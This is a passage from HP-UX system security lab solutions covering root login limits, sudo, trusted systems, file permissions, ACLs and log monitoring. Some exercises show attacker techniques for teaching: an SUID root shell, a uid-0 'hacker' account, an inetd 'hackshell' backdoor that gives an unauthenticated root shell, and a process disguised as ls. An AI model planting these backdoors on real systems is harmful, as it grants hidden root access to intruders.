configuration also limits the avenues that a hacker may use to hack the root account!
1. Configure the /etc/securetty file to ensure that root may only login directly on the
system console. Be sure to set the file permissions appropriately.

Answer:

# vi /etc/securetty
console
# chmod 600 /etc/securetty

2. Create a group called wheel in /etc/group, and modify the

/etc/default/security file to ensure that only members of this group can su to
root.

Answer:

# groupadd wheel
# vi /etc/default/security
SU_ROOT_GROUP=wheel

3. Add user1 to the wheel group.

Answer:

# usermod –G wheel user1

4. Configure /etc/dt/config/Xstartup to prevent direct root logins via CDE.

Answer:

# cp /usr/dt/config/Xstartup /etc/dt/config/Xstartup
# vi /etc/dt/config/Xstartup
(add the following at the end of the file)
if [ $(id –u) = 0 ]; then
exit 1
fi

5. Test your configuration! What message do you get in each case?

Can you login as root with the login command?
Can you login as root via telnet?
Can you login as root via CDE?
(If not, login as user1 and su to root to continue the lab exercise)

H3051S D.02 Solutions-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Answer:

None of these login attempts should succeed.

6. Try accessing the root account via FTP. What happens? How can you prevent direct root
logins via FTP?

Answer:

The ftpd deamon never consults /etc/securetty, so FTP attempts to the root
account succeed. If you want to disable FTP access for root, add root to
/etc/ftpd/ftpusers:

# vi /etc/ftpd/ftpusers
root

7. The administrator can still login via su. Why might you prefer to have root login via su
rather than via login or telnet?

Answer:

The administrator should still be able to login via su. Since the syslog.log file logs
which users have used the su command, it is possible to track who has accessed the root
account when.

Part II: Creating a Guest Account with a Restricted Shell

Although guest accounts are generally a bad idea, they may be a necessity in some
environments. This portion of the lab exercise walks you through the procedure for creating
an account with a restricted shell. The goal is to create an account anyone can access to
check the system’s load averages, see who is logged on the system, and check the status of
the print queues.
1. Create an account for user guest, using startup program /usr/bin/rsh. Don’t create
a home directory for the user initially.

# useradd -s /usr/bin/rsh guest

# passwd guest

2. Create a home directory for the new account, as well as a subdirectory in the home
directory called bin. Set the permissions on both directories to 555. Why don’t we
allow write permission on the guest home directory?

# mkdir -p /home/guest/bin
# chmod –R 555 /home/guest

Answer:

If write permission were granted, there is some danger that a guest may modify
.profile, .rhosts, or some other sensitive file in the guest home directory.

http://education.hp.com Solutions-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

3. Create a .profile for the guest account that simply sets a value for the PATH variable.
Set the permissions on the file to 444.

# echo "export PATH=/home/guest/bin" >/home/guest/.profile

# chmod 444 /home/guest/.profile

4. Next, copy the who, uptime, and lpstat executables to the guest’s bin directory:

# cd /usr/bin
# cp who uptime lpstat /home/guest/bin

5. See if your configuration worked! rlogin to your localhost as user guest and try a few
commands. Which of the following succeed?

# rlogin localhost –l guest

$ who
$ uptime
$ lpstat
$ cd /etc
$ cat /etc/passwd
$ /usr/bin/cat /etc/passwd
$ exit

Answer:

The who, uptime, and lpstat commands should succeed. The other commands should
fail.

6. One final step is required to truly secure the guest account. At this point there is one
utility a guest user might use to access the /etc/passwd file (or any number of other
files on the system!) What still remains to be done to truly secure the guest account?
Hint: Look back to the guest account notes earlier in the chapter if you need help!

Answer:

Guests may still access other directories and files on your system via FTP. Add the guest
account to /etc/ftpd/ftpusers:

# vi /etc/ftpd/ftpusers
guest

Part III: (Optional) Using the Restricted SAM Builder

By default, SAM may only be run by user "root". Administrators in large shops often have the
luxury of a staff of operators to assist with system administration tasks. So how can we
allow multiple operators, and perhaps even regular users, to access some of the functionality
in SAM? Sharing the root password probably isn't the best solution. The "restricted SAM
builder" makes it possible to grant non-root users access to selected functional areas in SAM.

Our goal in the exercise that follows is to create an account for user “operator” and allow the
"operator" user to manage print queues and automated backups via SAM.

H3051S D.02 Solutions-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

1. Create an account for user “operator”.

# useradd –m operator
# passwd operator

2. Run the restricted SAM builder. When asked whose privileges you wish to modify, select
your new operator account.

# sam –r

3. Next, you will see a window listing each of the SAM functional areas. Note that some
functional areas are enabled (indicated by a green icon), some are disabled (indicated by
a red icon), and some are partially enabled (indicated by a yellow icon). In the TUI
interface, the status of a functional area is displayed in text form (enabled, disabled,
partially enabled). Start by choosing "Actions Æ Disable all". What happens to the
functional area icons?

Answer:

All of the functional area icons should turn red, indicating that they are disabled. If you
are using the TUI version of SAM, the functional areas are marked "Disabled".

4. Next, select the "Printers and Plotters" icon with a single-click (GUI) or the space bar
(TUI). Choose "Actions Æ Enable". What happens to the "Printers and Plotters" icon?

Answer:

The "Printers and Plotters" icon turns green. If you are using the TUI version of SAM, the
"Printers and Plotters" functional area is marked "Enabled".

5. Next, we need to enable automated backups. Go to the "Backup and Recovery"

functional area, and select the "Automated Backup" icon. Again go to the "Actions" menu
and choose: "Actions Æ Enable". Go back up to the main functional area window. What
happened to the "Backup and Recovery" icon? Explain!

Answer:

The "Backup and Recovery" icon should now be yellow, indicating that a portion of the
functional area is enabled, and a portion is disabled. In the TUI interface, the functional
area should be marked "Partial".

6. You can enable/disable as many functional areas as you wish in the restricted SAM
builder. Once you have enabled all the desired icons, choose "Actions Æ Save privileges".

7. The "Save Privileges" screen defines which user(s) will have access to the functional
areas you have selected. Select the "operator" user from the list, and click "OK". (If you
had multiple operators, you could select multiple usernames from the list while holding
the shift key) SAM saves the privileges you selected, then returns you to the icon
window. Exit out of the restricted SAM builder, then log off your workstation or server.

8. Log in as "operator" and try running SAM by typing /usr/sbin/sam. Which functional
areas are available for use by your "operator" user?

http://education.hp.com Solutions-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

# rlogin localhost –l operator

# /usr/sbin/sam

9. Exit out of SAM, then try running SAM again by just typing sam. You will probably get a
"sh: sam: not found" error. Try typing /usr/sbin/sam. Can you explain why
SAM wouldn't start in the first case, but would start in the second?

Answer:

The SAM executable is in the /usr/sbin directory, which isn't typically included in
regular users' PATH variables. Thus, in order to execute SAM, the operators must either
modify their PATH variables, or type the full pathname.

10. Exit out of SAM, then exit out of your “operator” rlogin session, too.

Part IV: Creating an Application User Account

Sometimes, for both security and convenience, an administrator may choose to configure a
user's account to automatically launch an application upon login. In this portion of the lab,
we will configure a user called "perfmon". User perfmon is an operator responsible for
monitoring system performance levels via the glance and gpm performance monitoring
tools.
1. Create a user account with a home directory for user "perfmon".

Answer:

# useradd -m perfmon
# passwd perfmon

2. Configure perfmon's .profile script such that the /opt/perf/bin/glance tool

starts automatically at login.

Answer:

# vi ~perfmon/.profile
exec /opt/perf/bin/glance

3. Also configure perfmon's .dtprofile script such that the /opt/perf/bin/gpm tool
starts automatically at login.

Answer:

# vi ~perfmon/.dtprofile
exec /opt/perf/bin/gpm

4. Set permissions on the user's directory and everything in it to 555.

Answer:

# chmod -R 555 ~perfmon

H3051S D.02 Solutions-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5. Test your configuration! What happens when user perfmon logs in via CDE? What
happens when user perfmon logs in via a telnet session?

Answer:

Logging in via CDE should launch the GUI-based gpm tool. Logging in via a telnet
session should launch the glance tool.

6. Is there any way the user can access other files and directories on the system (eg:
/etc/passwd)? Explain!

Answer:

Yes. The user can still log in via FTP. FTP access should be disabled via
/etc/ftpd/ftpusers.

Part V: Install sudo

1. sudo is another tool often used by administrators to grant non-root users root access
when running selected commands. The last portion of this lab exercise set walks you
through the steps required to configure sudo to allow your operators to start and stop the
lp scheduler from the command line.
Verify that your system has the Sudo product installed. If not, you can download and
swinstall the program from http://software.hp.com.

# swlist Sudo

2. Verify that swinstall added /opt/iexpress/sudo/bin and

/opt/iexpress/sudo/sbin to your /etc/PATH file. Verify that
/opt/iexpress/sudo/man was added to your /etc/MANPATH file. If you just
swinstalled Sudo, log out, then log back in again to ensure these directories are included
in your PATH.

# vi /etc/PATH
# vi /etc/MANPATH

3. If you wish, view the Sudo man pages before proceeding.

# man 1m visudo
# man 1m sudo
# man 4 sudoers

Part VI: Configure and Run sudo

1. If you skipped the optional restricted SAM builder portion of the lab, create an operator
account now.

# useradd –m operator
# passwd operator

http://education.hp.com Solutions-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

2. Create the sudoers configuration file using the special visudo command. Allow user
“operator” to start and stop the lp scheduler.

# visudo
operator ALL=/usr/sbin/lpshut,/usr/sbin/lpsched

3. rlogin to the localhost as user "operator." Test the sudo capabilities of operator.

# rlogin localhost –l operator

$ sudo /usr/sbin/lpshut

4. The first time a user uses sudo, they are asked to enter their password.
Why do you suppose sudo requires this?

Answer:

If a careless sudo user leaves a terminal session unattended, this feature prevents other
users from using sudo to execute administrative commands.

5. Verify that the scheduler was shutdown, then start it back up again.

$ lpstat –t
$ sudo /usr/sbin/lpsched
$ lpstat –t

6. What happens a user attempts to execute an unauthorized command via sudo?

$ sudo /usr/sbin/lpadmin

7. Log out of your operator rlogin session.

$ exit

8. Look at /var/adm/syslog/syslog.log. Does syslog log successful sudo attempts?

Does it log unsuccessful sudo attempts?

# tail /var/adm/syslog/syslog.log

Part VII: (Optional) Configuring sudo aliases

1. Return to the root login, and use visudo to define User and Command Aliases (these
help to simplify the definition of sudo user capabilities):

# visudo
User_Alias ASSIST_SYSADMIN=user1,user2,user3
Cmnd_Alias USER_SUPP_CMDS=/usr/bin/passwd,/usr/bin/kill
ASSIST_SYSADMIN ALL=USER_SUPP_CMDS

2. Test your new sudo configuration. rlogin to the localhost as user1 and use the
passwd command to change user24’s password. Does this succeed?

H3051S D.02 Solutions-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

# rlogin localhost –l user1

$ sudo /usr/bin/passwd user24
$ exit

Answer:

This should succeed.

3. Why is this sudo configuration dangerous? Do you foresee any potential problems?

Answer:

The sudo users may also change the password for root to gain administrator privileges.
Think carefully about the commands you choose to make available via sudo!

Part VIII: Cleanup

Before moving on to the next lab exercise, run the netfiles script to remove the changes you
made to /etc/passwd, /etc/group, /etc/dt/config, and /etc/securetty.

# /labs/scripts/netfiles –r INITIAL

http://education.hp.com Solutions-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

7–11. LAB: Trusted Systems

Part I: Configuring a Trusted System

The conversion process to a C2-Trusted System is only supported through SAM on HP-UX
10.x and 11.00 systems.
1. Use SAM to convert to a C2 Trusted System:

# sam
enter Auditing & Security
enter System Security Policies

At this point, if the system is not already configured as a trusted system, SAM will attempt
to convert to a trusted system.

List three of the actions performed by SAM to convert your host to a trusted system:

Answer:

• For each user, SAM creates a new security file under the /tcb directory called
/tcb/files/auth/first_char/login_name.

• SAM builds tcb database files based on the contents of /etc/passwd.

• SAM moves passwords to the tcb database files and replaces them with *'s in
/etc/passwd.

• SAM creates an audit ID number for every user account.

• SAM sets the audit flag to "on" for every user.

• SAM converts at, batch, and crontab files to use the submitter's audit ID.
2. Configure the password format policies such that users may choose their own passwords,
or accept a system-generated pronounceable, letter-only, or random character password.
Enforce the restriction rules for user-chosen passwords.

Answer:

These policies may all be set on the following SAM screen:

SAM--> Auditing & Security --> System Security Policy --> Password Format Policy

H3051S D.02 Solutions-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

3. Configure your password aging policy such that:

• Users must retain new passwords for a minimum of 0 days.
• Users must change their passwords every 90 days.
• Users are warned 10 days prior to their password expiration date.
• Any account with a password that remains unchanged for 180 days is automatically
locked.
Answer:

These policies may all be defined on the following SAM screen:

SAM--> Auditing & Security --> System Security Policy --> Password Aging Policy

4. Configure your general user account policies such that

• Dormant accounts are automatically locked after 90 days.
• Accounts are locked after 3 successive, unsuccessful login attempts.
Answer:

These policies may all be defined on the following SAM screen:

SAM--> Auditing & Security --> System Security Policy --> General User Account Policies

5. User3 has a history of choosing poor passwords. Can you force user3 to use a system-
generated password, while still allowing other users on the system to choose their own
passwords?

Answer:

Yes! This may be configured on the following SAM screen:

SAM --> Accounts for Users and Groups --> Users

(Select user3)
Actions --> Modify Security Policies --> Password Format Policies

6. User1 works second shift, from 5pm until 11:00pm. What can you do to ensure that user1
only logs in during these hours? Make it so!

Answer:

This, too, may be configured via SAM:

SAM --> Accounts for Users and Groups --> Users

(Select user1)
Actions --> Set Authorized Login Times

http://education.hp.com Solutions-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

7. Configure the password history mechanism to prevent users from re-using any of their
previous 3 passwords.

Answer:

# vi /etc/default/security
PASSWORD_HISTORY_DEPTH=3

Part II: Testing Your Trusted System Configuration

1. Initiate a telnet session to your localhost and try to log in as user1. Does your login
attempt succeed? Explain!

# telnet localhost
login: user1
Password: *****

Answer:

Unless your class is running late today, the login attempt should fail, and the connection
should terminate. Recall that user1 may only log in between 5pm and 11pm.

2. Login as user2. This should succeed! While logged in as user2, try changing your
password to "secret". Explain the results. Keep trying until you find a password that is
acceptable to the system.

# telnet localhost
login: user2
Password: *****

Answer:

# passwd (then choose option "p" and enter "secret")

This fails as a result of the restriction rules that we chose to enforce on the system. The
system will, however, accept a password such as "secret1".

3. While still logged in as user2, execute the passwd command again. This time, ask the
system to generate a pronounceable password for you. Don't accept the first password
suggested by the system; cycle through several recommendations to get a flavor for the
types of passwords that the system generates.

Answer:

# passwd (this time, choose option "g")

H3051S D.02 Solutions-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

4. While still logged in as user2, execute the passwd command one last time, and try to
revert back to the password you chose in question #2 above. Does this work? Explain!

Answer:

This fails. The password history mechanism prevents users from re-using passwords.

5. Hackers oftentimes target a system's root account. See what happens when a hacker
repeatedly attempts to guess the root password on your system. In one of your open
terminal emulator windows, telnet to your localhost, enter username root, and mistype
the root password three times. What happens to the telnet session?

# telnet localhost (enter username root, then mistype root's password 3 times)

Answer:

After three successive failed root login attempts, you should see a message indicating that
the account has been locked. Even if the root account is locked, though, root should be
able to login on the system console.

6. Open another window and take a look at the /tcb/files/auth/r/root file. Which
field records the number of successive failed login attempts? Use the vi editor to reset
this field to zero to re-enable the root account, then verify that you can again telnet in
as root.

# cat /tcb/files/auth/r/root

Answer:

The u_numunsuclog field records the number of failed login attempts. Changing this
field back to 0 should re-enable the root account.

Part III: Unconverting the System

1. Before moving on, disable the trusted system functionality by going to:

SAM Æ Auditing and Security Æ Audited Events Æ Actions Æ Unconvert the System

How does this affect the /tcb directories? How does it affect /etc/passwd?

Answer:

The /tcb directories should be removed. All user passwords should be restored to the
/etc/passwd file.

http://education.hp.com Solutions-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

Part IV: Cleanup

Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

H3051S D.02 Solutions-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

8–15. LAB: Securing UNIX File Systems

Directions
Read and follow the directions below carefully.

Part I: Experimenting with the SUID Bit

Careless administrators sometimes walk away from the system console without locking the
session or logging out. In this part of the lab, you will see how a hacker might exploit this
situation!
1. Copy the /usr/bin/sh executable to user1's home directory.

Answer:

# cp /usr/bin/sh ~user1/sh

2. Ensure that the new copy of the shell is owned by root, then set the SUID bit on the
executable.

Answer:

# chown root ~user1/sh

# chmod 4555 ~user1/sh

3. rlogin to your localhost as user1, then execute the ~user1/.sh executable. After
executing ~user1/.sh command, use the id command to determine your userid. What
does the id command show?

# rlogin localhost -l user1

$ ./sh
# id

Answer:

The id command should show that your userid is 0, which suggests that you have root
privileges, even though you logged in as user1!

4. Verify that user1 has truly obtained root privileges by executing the useradd command,
which isn't normally accessible to normal users. Does it succeed? Explain!

# /usr/sbin/useradd -o -u 0 hacker

Answer:

Though user1 can't normally execute the useradd command, the command succeeds in
this case since it is being executed from an SUID shell that grants the user temporary root
privileges.

http://education.hp.com Solutions-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

5. Log out of your SUID shell, then log out of the user1 rlogin session.

Answer:

# exit
$ exit

6. Why are SUID shells so dangerous?

Answer:

If a hacker manages to plant an SUID shell on the system, running that shell grants the
hacker root privileges. Root privileges allow the hacker to modify the system at will!

7. How can you generate a file cataloging all of the SUID programs on your system? Make it
so!

Answer:

# find / -perm -4000 -type f >/tmp/suid.lst

Part II: Experimenting with SGID and Sticky Bit Directories

Administrators are sometimes asked to setup shared directories for teams of users that need
common access to a set of files. Ensuring that the legitimate team members have access to
the files while locking out all other users can sometimes prove tricky.

Our goal in this exercise is to enable user20 through user24 (and no other users!) to access a
shared directory while developing a new “gizmo” product.
1. Verify that user20 through user24 have valid accounts in the /etc/passwd file.

Answer:

# grep –e user2[0-4] /etc/passwd

2. Create an entry in the /etc/group file for a group called “gizmo” and ensure that user20
through user24 are all members of the group.

Answer:

# groupadd gizmo
# usermod –G gizmo user20
# usermod –G gizmo user21
# usermod –G gizmo user22
# usermod –G gizmo user23
# usermod –G gizmo user24

H3051S D.02 Solutions-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

3. Create a directory called /home/gizmo with appropriate permissions to ensure that

only members of the gizmo group have access to files in the directory. What permission
can you use to ensure that files placed in this directory are automatically chgrp'ed to the
gizmo group? Make it so!

Answer:

# mkdir /home/gizmo
# chown root:gizmo /home/gizmo
# chmod 2770 /home/gizmo

4. Verify that user20-24 have their umasks set such that new files that they create are
readable by members of their group.

Answer:

# echo "umask u=rwx,g=rx,o=" >> ~user20/.profile

# echo "umask u=rwx,g=rx,o=" >> ~user21/.profile
# echo "umask u=rwx,g=rx,o=" >> ~user22/.profile
# echo "umask u=rwx,g=rx,o=" >> ~user23/.profile
# echo "umask u=rwx,g=rx,o=" >> ~user24/.profile

5. Test your configuration! su to user20 and see if you can create a file in the gizmo
directory. Which group is associated with the new file? What are the permissions?

# su – user20 "vi /home/gizmo/plans"

# ll /home/gizmo/plans

Answer:

The user's umask ensures that the new file's permissions are set to "rw-r-----". The
"s" permission on the directory causes the new file to be automatically chgrp'ed to the
gizmo group.

6. Who can access the file? Try accessing the file both as user1 and user21 and record the
results.

# su – user1 "cat /home/gizmo/plans"

# su – user21 "cat /home/gizmo/plans"

Answer:

user1's attempt should fail, since user1 is not a member of the gizmo group.
user21's attempt should succeed, since user21 is a member of the gizmo group.

http://education.hp.com Solutions-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

7. At this point, the permissions on /home/gizmo ensure that members of the "gizmo"
group can access all of the files in the /home/gizmo directory. However, members of
the group can also delete any file in the shared directory -- even files owned by other
users! How can you set the permissions on /home/gizmo so all members of the group
are allowed create and access files in the directory, while simultaneously ensuring that
users can only remove their own files from the directory? Make it so! (Be sure to
preserve the SGID bit permission, too!)

Answer:

The sticky bit provides the answer!

# chmod o+t /home/gizmo

8. Test your configuration. user20 should own a file called /home/gizmo/plans. Can
user21 remove this file? Can user20 remove this file? Try it!

# su - user21 "rm /home/gizmo/plans"

# su - user20 "rm /home/gizmo/plans"

Answer:

user21 should not be able to remove the file, but user20 should.

Part III: Setting and Using JFS ACLs

1. Verify that JFS version 3.3 or greater is installed on your system.

# swlist JFS

2. JFS ACLs are only available on JFS file systems that use the JFS file system layout
version 4. Determine which file system layout your /home file system uses. If it's not
version 4, upgrade it!

# vxupgrade /home
# vxupgrade -n 4 /home

3. su to user1's account on your system.

# su - user1

4. Create a file in user1's home directory. Set the permissions on your sample file to 640.

$ echo "let's play with ACLs!" >f1

$ chmod 640 f1

H3051S D.02 Solutions-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

5. What minimal ACLs are set for file f1 as a result of the chmod command?

Answer:

Use the getacl command to view the ACLs on the file:

$ getacl f1

At this point, the file should have the following ACLs:

user::rw-
group::r--
class:r--
other:---

6. Add ACLs to grant the following access rights:

• Read and write permissions for user2 and user3

• Read permission for user4 and user5
• Read permission for all members of the "users" group

Answer:

$ setacl -m "user:user2:rw-" f1
$ setacl -m "user:user3:rw-" f1
$ setacl -m "user:user4:r--" f1
$ setacl -m "user:user5:r--" f1
$ setacl -m "group:users:r--" f1

7. Looking at ll output for this directory, can you tell that file f1 has additional ACLs?
Verify that your additional ACLs are set properly.

Answer:

The ll output displays a "+" sign following the standard Unix permissions.

http://education.hp.com Solutions-41 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

8. Look at the getacl output for file f1. What additional ACLs were added? Did the "class"
ACL change as a result of your setacl commands?

Answer:

The getacl command should display the following ACLs:

user::rw-
user:user2:rw-
user:user3:rw-
user:user4:r--
user:user5:r--
group::r--
group:users:r--
class:rw-
other:---

The "class" did change. By default, the "class" entry is automatically updated to ensure
that the permissions granted by the most lenient additional ACL are actually honored. In
this case, since user2 and user3 both got rw-, the class entry was updated to rw- as well.

9. Remove the ACL entry for user5 and the users group, then change user4's ACL to rw- to
match the other user ACLs. Check your work.

Answer:

$ setacl -d user:user5 f1
$ setacl -d group:users f1
$ setacl -m user:user4:rw- f1
$ getacl f1

10. In the previous question, you removed the ACL for user5. Can user5 still access the file?
Try it, then explain the result.

$ su user5 "cat f1"

Answer:

Even though we removed the ACL for user5, user5 is still a member of the default group
associated with the file. Since the "group::" ACL allows r-- permission user5 is still able
to read -- but not modify -- the file.

H3051S D.02 Solutions-42 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

11. touch a new file in user1's home directory called f2. Is there an easy way to replicate the
ACLs you set on file f1 to the new file you just created? Make it so!

Answer:

Use the getacl command to copy f1's ACLs to a file, then use setacl -f to apply
those ACLs to file f2.

$ touch f2
$ getacl f1 >/tmp/acls
$ setacl -f /tmp/acls f2
$ getacl f2

12. How can you guarantee that all additional files created in the ~user1 directory are
assigned the rw- user2, user3, and user4 ACLs you created for f1? Make it so!

Answer:

$ setacl -m default:user:user2:rw- ~user1

$ setacl -m default:user:user3:rw- ~user1
$ setacl -m default:user:user4:rw- ~user1

13. Can you use the standard UNIX chmod command to change the permissions on a file with
additional ACLs defined? Try it!

$ chmod u+x f1
$ getacl f1

Answer:

This should succeed. The user::rw- ACL should now be user::rwx. The other ACLs
should be unchanged.

http://education.hp.com Solutions-43 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

14. Try another chmod, as shown below. Can you explain the result?

$ chmod g= f1
$ getacl f1

Answer:

The resulting ACLs look like this:

user::rwx
user:user2:rw- #effective:---
user:user3:rw- #effective:---
user:user4:rw- #effective:---
group::r--
class:---
other:---

Recall that the changing group permissions on an existing file actually changes the upper
bound on the effective permissions for all of the additional ACLs associated with that file.
Thus, although the additional ACLs allow read permission, the "class::---" takes
precedence. Thus, the effective permissions for user2, user3, and user4 are actually
"---".

15. Exit from your user1 su session.

Answer:

# exit

H3051S D.02 Solutions-44 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

9–20. LAB: Monitoring and Hiding System Activity

Directions
Carefully follow the instructions below.

Part I: Compiling lsof

Later in the lab you will be asked to run the lsof contributed software tool. Download,
compile, and install the utility now before proceeding.
1. Download the lsof source code from
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/lsof/ to your
/tmp directory. For the purposes of this class, you can simply copy the file from the /labs
directory.

# cp /labs/lsof/lsof_*.tar.gz /tmp

2. Unzip and untar the source files. (lsof is oddly packaged as a tarball within a tarball
within a gzip archive. Follow the directions below carefully!)

# cd /tmp
# gzip –d /tmp/lsof_*.tar.gz
# tar –xvf /tmp/lsof_*.tar
# cd /usr/local/src
# tar –xvf /tmp/lsof_*/lsof_*src.tar

3. cd to the lsof source directory.

# cd /usr/local/src/lsof_*

4. Configure and compile lsof.

# ./Configure hpuxgcc
Do you want to take inventory (y|n) [y]? y
Do you want to customize (y|n) [y]? n
# make

5. Move the lsof files into place (make sure your PATH variable uses
/usr/local/bin/install rather than /usr/sbin/install).

# install –m 555 –o root –g bin –d /usr/local/man/man8

# install –m 555 –o root –g bin –d /usr/local/sbin
# install –m 444 –o root –g sys lsof.8 /usr/local/man/man8
# install –m 500 –o root –g sys lsof /usr/local/sbin

http://education.hp.com Solutions-45 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

6. Add /usr/local/sbin to your PATH and run lsof to verify that the tool works!

# PATH=/usr/local/sbin:$PATH
# lsof
# man lsof

Part II: Log Files

1. What command can you execute to determine which users are currently logged into your
system from remote hosts?

Answer:

# who –R

2. What command can you execute to determine which users have previously logged into
your system from remote hosts?

Answer:

# last -R

3. Have any users on your system used the su command? Have there been any failed su to
root attempts?

Answer:

# more /var/adm/sulog

Failed attempts are indicated by a “-” sign.

4. Heavy CPU usage by unrecognized processes may indicate hacker activity. How can you
determine which processes on your system are consuming the most CPU time?

Answer:

# top

5. Are any users or processes currently accessing your /etc/passwd file? How can you
find out?

Answer:

# lsof /etc/passwd

The pwgrd daemon, which assists with username and UID resolution, may have the
/etc/passwd file open.

H3051S D.02 Solutions-46 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

6. Initiate a telnet session to your instructor’s system and login as root. What command
can you execute on the instructor system to determine what network services currently
have established TCP connections to or from other hosts? Do you see your connection?

Answer:

# netstat –f inet

You should see a connection from your hostname to the telnet port on the instructor
system.

7. From the instructor system, can you determine the PID of the telnetd server process
that is managing the telnet session? Do whatever is necessary to kill that process to
terminate the “suspicious” connection.

Answer:

# lsof –i | grep telnetd

# kill PID

8. Exit out of your telnet session to return to your localhost.

# exit

9. Enable inetd logging on your localhost.

Answer:

# inetd –l
# vi /etc/rc.config.d/netdaemons
export INETD_ARGS=-l

http://education.hp.com Solutions-47 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

10. telnet to your localhost twice. Intentionally mistype your password several times so
the login fails. Then try again, and type your password successfully so the login
succeeds. Does the /var/adm/syslog/syslog.log file indicate which host
requested each connection? Does it indicate which user requested each connection?
Does it indicate if the telnet requests were successful? Explain!

Answer:

# telnet localhost (mistype your password until the connection closes)

# telnet localhost (login successfully this time)
# more /var/adm/syslog/syslog.log

syslog.log should report the hostnames that requested the connections, but not the
user names. Both telnet attempts should be recorded as successful connections in
/var/adm/syslog/syslog.log since inetd launched the telnetd daemon
successfully in both cases. It’s up to telnetd to report in /var/adm/btmp and
/var/adm/wtmp if the user successfully logged in.

11. You learned earlier in the chapter that hackers sometimes doctor log files to remove
evidence of their activities. Configure your syslogd daemon such that info priority
messages and higher are recorded not only in your local syslog.log file, but also on
the instructor’s system.

Answer:

# vi /etc/syslog.conf
*.info @instructorhost
# kill –HUP $(cat /var/run/syslog.pid)

12. ftp your localhost to generate an inetd log message to syslogd. Then telnet to the
instructor system to see if an entry was added to the instructor’s
/var/adm/syslog/syslog.log file.

# ftp localhost

Answer:

# ftp instructorhost

There should be an entry in the instructor’s syslog.log file.

H3051S D.02 Solutions-48 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part III: Monitoring Log Files with swatch

1. Download a copy of the swatch software from the
http://www.cerias.purdue.edu web site, to the /tmp directory. For the purposes
of the lab exercise, you can simply copy swatch from the /labs/swatch directory.

# cp /labs/swatch/swatch*.tar /tmp

2. cd to the /usr/local/src/swatch directory, and untar the swatch tarball.

# cd /usr/local/src
# tar –xvf /tmp/swatch*.tar
# cd swatch*
# more README

3. cd to the new swatch directory and install the swatch product.

# cd /usr/local/src/swatch*
# ./install.sh

swatch binary location: /usr/local/bin

swatch owner: root
swatch group: sys
swatch program permissions: 755
swatch data file permissions: 444
Perl library location: /opt/perl/lib/5.6.1
swatch library location: /usr/local/lib
swatch man page location: /usr/local/man
swatch program man page extension: 8
swatch configuration file man page extension: 5

4. The path name for the tail command in /usr/local/bin/swatch is incorrect for
HP-UX. Modify the path for tail on line 47 of the program:

# vi /usr/local/bin/swatch
$TAIL = '/usr/bin/tail -f';

5. Verify the swatch man pages were installed correctly.

# man 8 swatch
# man 5 swatch

http://education.hp.com Solutions-49 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Solutions

6. Create a swatch configuration file that defines what to monitor. Important note: swatch
requires a tab character between the pattern and action. Use the tab key, not the space
bar!

# vi /usr/local/etc/swatch.syslog.conf
# Report any line which ends with root (su to root acct)
/root$/ echo=inverse,bell=3
# Report all connections established by inetd
/Connection from/ echo,bell=3
7. Start the swatch monitor in the background

# swatch –c /usr/local/etc/swatch.syslog.conf \
-t /var/adm/syslog/syslog.log &

8. In a second window, test the swatch monitoring program:

• Use the su command to switch from root-to-user1 (no message should be sent).
• Use the su command to switch from user1-to-root (message should be sent).
• Use telnet to re-establish a network connection to the localhost (message sent).
9. (Optional) Other swatch Customizations:

a. What would you have to add to the swatch.conf file to automatically highlight all
FTP connection requests? Make and test the change.
(Be sure to kill and restart swatch after you modify the configuration file)

b. What would you have to add to the swatch.conf file to automatically highlight all
connection requests from your neighbor’s hostname? Make and test the change. (Be
sure to kill and restart swatch after you modify the configuration file)

Answer:

/ftpd/ echo=inverse
/Connection from hostname/ echo=inverse

H3051S D.02 Solutions-50 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Solutions

Part IV: Hiding Connections

When hackers get on a system, they often try to hide their connections. The C shell contains
an option (-i) which prevents a tty device file from being associated with the shell. Because
there is no tty device for the shell, users running a shell in this mode do not appear in a who
listing.
1. To illustrate the stealth shell, add a bogus service called "hackshell" to the
/etc/services file.

# vi /etc/services
hackshell 24/tcp

2. Add an additional entry to the /etc/inetd.conf file.

# vi /etc/inetd.conf
hackshell stream tcp nowait root /usr/bin/csh csh -i

3. Restart the inetd daemon

# inetd –c

4. From another window, access the hackshell service on port 24. Does the who command
report the new “hack” login?

# telnet localhost 24
# who –R

5. Exit out of the hackshell session before proceeding.

# exit

Part V: Process Hiding

Hackers often try to hide their activities from the ps command. Two techniques used are to
hide their process name and to hide arguments passed to commands.
1. Display a full listing of all your current processes.

# ps –f

2. Make your shell process look like the ls command.

# cp /usr/bin/sh ./ls
